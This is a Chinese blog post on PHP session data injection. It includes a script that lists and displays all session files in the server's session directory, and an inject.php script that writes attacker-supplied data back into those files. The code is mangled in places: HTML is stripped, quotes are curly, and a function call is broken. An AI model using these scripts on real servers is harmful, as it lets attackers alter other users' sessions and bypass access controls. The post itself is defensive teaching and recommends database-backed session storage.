PHP安全编程之会话数据注入

冷不防 2022-07-19 11:50 262阅读 0赞

一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

<?php

session_start();

?>



<?php

$path = ini_get(‘session.save_path’);
$handle = dir($path);

while ($filename = $handle->read())
{
if (substr($filename, 0, 5) == ‘sess_‘)
{
$sess_data = file_get_contents(“$path/$filename”);

if (!empty($sess_data))
{
session_decode($sess_data);
$sess_data = $_SESSION;
$_SESSION = array();

$sess_name = substr($filename, 5);
$sess_name = htmlentities($sess_name, ENT_QUOTES, ‘UTF-8’);
echo “

Session [$sess_name]

“;

foreach ($sess_data as $name => $value)
{
$name = htmlentities($name, ENT_QUOTES, ‘UTF-8’);
$value = htmlentities($value, ENT_QUOTES, ‘UTF-8’);
echo “


$name:

“;
}

echo ‘
‘;
}
}
}

$handle->close();

?>


脚本inject.php执行由表单所指定的修改:

<?php

session_start();

$path = ini_get(‘session.save_path’);

foreach ($_POST as $sess_name => $sess_data)
{
$_SESSION = $sess_data;
$sess_data = session_encode;

file_put_contents(“$path/$sess_name”, $sess_data);
}

$_SESSION = array();

?>

此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。

针对这个问题的最好解决方案是将会话数据保存在数据库中。参见专题前面的内容。

发表评论

表情:
评论列表 (有 0 条评论,262人围观)

还没有评论,来说两句吧...

相关阅读

    相关 PHP安全编程会话数据注入

    一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能

    相关 PHP安全编程暴力破解攻击

    暴力攻击是一种不使用任何特殊手段而去穷尽各种可能性的攻击方式。它的更正式的叫法是穷举攻击——穷举各种可能性的攻击。 对于访问控制,典型的暴力攻击表现为攻击者通过大量的尝试去

    相关 PHP安全编程shell命令注入

    使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据,命令注入漏洞就产生了。 [exec()][exec]是用于执行she

    相关 PHP安全编程过滤用户输入

    过滤是Web应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤,你可以避免被污染(未过滤)数据在你的程序中被误信及误用。大多数流行的PHP应用的漏

    相关 PHP安全编程可用性与数据跟踪

    平衡风险与可用性 用户操作的友好性与安全措施是一对矛盾,在提高安全性的同时,通常会降低可用性。在你为不合逻辑的使用者写代码时,必须要考虑到符合逻辑的正常使用者。要达到适当